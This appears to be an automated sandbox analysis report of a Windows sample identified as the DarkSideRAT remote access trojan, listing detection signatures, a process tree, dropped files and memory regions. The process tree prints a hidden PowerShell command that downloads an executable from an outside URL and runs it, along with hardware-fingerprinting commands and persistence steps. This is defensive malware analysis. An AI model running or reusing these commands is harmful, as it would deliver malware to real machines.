Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/07/2026, 00:44

General

  • Target
    VoidSyncTemp.exe
  • Size 2.8MB
  • Sample260730-a3k79ahe93
  • SHA256 27d9c2006a4d4ee93ad82c9f4ccb5aec375f990a5192a1b8c517330c0f644fc5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\VoidSyncTemp.exe
    "C:\Users\Admin\AppData\Local\Temp\VoidSyncTemp.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4744
    • \??\c:\users\admin\appdata\local\temp\voidsynctemp.exe 
      c:\users\admin\appdata\local\temp\voidsynctemp.exe 
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5960
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1164
        • C:\Windows\system32\cmd.exe
          cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2868
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK762772.exe; Start-Process -FilePath $env:TEMP\BK762772.exe -WindowStyle Hidden }"
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Downloads MZ/PE file
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:6116
            • C:\Users\Admin\AppData\Local\Temp\BK762772.exe
              "C:\Users\Admin\AppData\Local\Temp\BK762772.exe"
              6⤵
              • Executes dropped EXE
              PID:3936
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /C powershell -command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:3580
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /C powershell -command "(Get-CimInstance Win32_BaseBoard).SerialNumber"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5756
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "(Get-CimInstance Win32_BaseBoard).SerialNumber"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:5500
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /C powershell -command "Get-CimInstance Win32_PhysicalMedia | Select-Object -ExpandProperty SerialNumber"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Get-CimInstance Win32_PhysicalMedia | Select-Object -ExpandProperty SerialNumber"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:4948
    • C:\Windows\Resources\Themes\icsys.icn.exe
      C:\Windows\Resources\Themes\icsys.icn.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5992
      • \??\c:\windows\resources\themes\explorer.exe
        c:\windows\resources\themes\explorer.exe
        3⤵
        • Modifies visibility of hidden/system files in Explorer
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in System32 directory
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1380
        • \??\c:\windows\resources\spoolsv.exe
          c:\windows\resources\spoolsv.exe SE
          4⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1712
          • \??\c:\windows\resources\svchost.exe
            c:\windows\resources\svchost.exe
            5⤵
            • Modifies visibility of hidden/system files in Explorer
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in System32 directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:6080
            • \??\c:\windows\resources\spoolsv.exe
              c:\windows\resources\spoolsv.exe PR
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:5440

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 89683e01bd0bec04def763fbcca08a6fcfe5d860c540db86669c85b7c607c03e
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ec78f7b03043cb62799bc71a691dd0c0c3bc8813459e958c78e337d6a8199ba1
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 97af1df54307e7344343841ebe2c7f7c2123a08e11bbb65efbaf3f18a8787678
        • MD5 SHA1 SHA512 TLSH

        BK762772.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK762772.exe
        • Size 67KB
        • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_tyrt1o5l.svd.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tyrt1o5l.svd.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        voidsynctemp.exe 

        • Path C:\Users\Admin\AppData\Local\Temp\voidsynctemp.exe 
        • Size 2.7MB
        • SHA256 c58dc269d7e6a3324c4c5998dcee30701514ce2b2b1bed812a974a914c82d4c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        explorer.exe

        • Path C:\Windows\Resources\Themes\explorer.exe
        • Size 135KB
        • SHA256 697e00c3815e3717079f1180c0899ab67483eb9162bd0461950742dd0ec32ec3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        icsys.icn.exe

        • Path C:\Windows\Resources\Themes\icsys.icn.exe
        • Size 135KB
        • SHA256 795ba21ace8bad935fa9b040269fe8bc8b014c9bd933d2549dba480520cfc378
        • MD5 SHA1 SHA512 SSDEEP TLSH

        svchost.exe

        • Path C:\Windows\Resources\svchost.exe
        • Size 135KB
        • SHA256 c8c41c704e0ac756d9c0ca11a6e48eafcd2dba1308e653edafa0f2f50b2b7b12
        • MD5 SHA1 SHA512 SSDEEP TLSH

        spoolsv.exe

        • Path \??\c:\windows\resources\spoolsv.exe
        • Size 135KB
        • SHA256 5ca7a919a6d320859a9c41de67005c55d6586e3a0f550753ca82c6f3ddd59f89
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1380-99-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/1712-62-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/1712-32-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/3580-65-0x0000028B7A330000-0x0000028B7A35A000-memory.dmp

        memory/3580-66-0x0000028B7A330000-0x0000028B7A354000-memory.dmp

        memory/4744-64-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/4744-0-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/5440-61-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/5960-9-0x0000000140000000-0x00000001402AE000-memory.dmp

        memory/5960-98-0x0000000140000000-0x00000001402AE000-memory.dmp

        memory/5992-13-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/5992-63-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/6080-100-0x0000000000400000-0x000000000041F000-memory.dmp

        memory/6116-36-0x000001E7C9470000-0x000001E7C9492000-memory.dmp